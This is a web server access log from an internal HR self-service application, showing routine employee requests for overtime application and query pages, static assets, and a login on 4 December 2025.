"http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.104 - - [04/Dec/2025:08:55:19 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:19 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 304 - 192.168.11.104 - - [04/Dec/2025:08:55:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [04/Dec/2025:08:55:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [04/Dec/2025:08:55:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [04/Dec/2025:08:55:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.104 - - [04/Dec/2025:08:55:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:30 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:30 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.104 - - [04/Dec/2025:08:55:31 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:31 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.104 - - [04/Dec/2025:08:55:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.104 - - [04/Dec/2025:08:55:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:55:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [04/Dec/2025:08:57:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6955925471915684 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:57:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6955925471915684 HTTP/1.1" 200 8988 192.168.11.104 - - [04/Dec/2025:08:57:55 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6955925471915684 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6955925471915684" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:57:55 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6955925471915684 HTTP/1.1" 200 27500 192.168.11.104 - - [04/Dec/2025:08:58:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4698 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:58:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4698 192.168.11.104 - - [04/Dec/2025:08:58:21 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:58:21 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.104 - - [04/Dec/2025:08:58:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:58:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [04/Dec/2025:08:58:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:58:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [04/Dec/2025:08:59:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8482026593009339 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:59:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8482026593009339 HTTP/1.1" 200 8988 192.168.11.104 - - [04/Dec/2025:08:59:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8482026593009339 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8482026593009339" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:59:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8482026593009339 HTTP/1.1" 200 27500 192.168.11.104 - - [04/Dec/2025:08:59:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4280 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:59:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4280 192.168.11.104 - - [04/Dec/2025:08:59:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:08:59:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [04/Dec/2025:09:00:11 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9170664226197289 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:09:00:11 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9170664226197289 HTTP/1.1" 200 8988 192.168.11.104 - - [04/Dec/2025:09:00:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9170664226197289 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9170664226197289" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:09:00:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9170664226197289 HTTP/1.1" 200 27500 192.168.11.104 - - [04/Dec/2025:09:00:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4280 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:09:00:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4280 192.168.11.104 - - [04/Dec/2025:09:00:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:09:00:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [04/Dec/2025:09:00:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2211429645861963 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:09:00:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2211429645861963 HTTP/1.1" 200 8988 192.168.11.104 - - [04/Dec/2025:09:01:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2211429645861963 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2211429645861963" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:09:01:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2211429645861963 HTTP/1.1" 200 27500 192.168.11.104 - - [04/Dec/2025:09:01:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:09:01:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4276 192.168.11.104 - - [04/Dec/2025:09:01:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:09:01:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 192.168.11.104 - - [04/Dec/2025:09:02:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19399 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:09:02:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19399 192.168.11.104 - - [04/Dec/2025:09:02:06 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.104 - - [04/Dec/2025:09:02:06 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [04/Dec/2025:09:02:06 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.11.104 - - [04/Dec/2025:09:02:06 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.144 - - [04/Dec/2025:09:03:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:03:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.144 - - [04/Dec/2025:09:03:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:03:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [04/Dec/2025:09:03:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:09:03:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.144 - - [04/Dec/2025:09:03:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:03:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.144 - - [04/Dec/2025:09:03:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:03:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.144 - - [04/Dec/2025:09:03:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:03:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.144 - - [04/Dec/2025:09:03:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:03:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [04/Dec/2025:09:03:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:03:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [04/Dec/2025:09:03:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:03:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 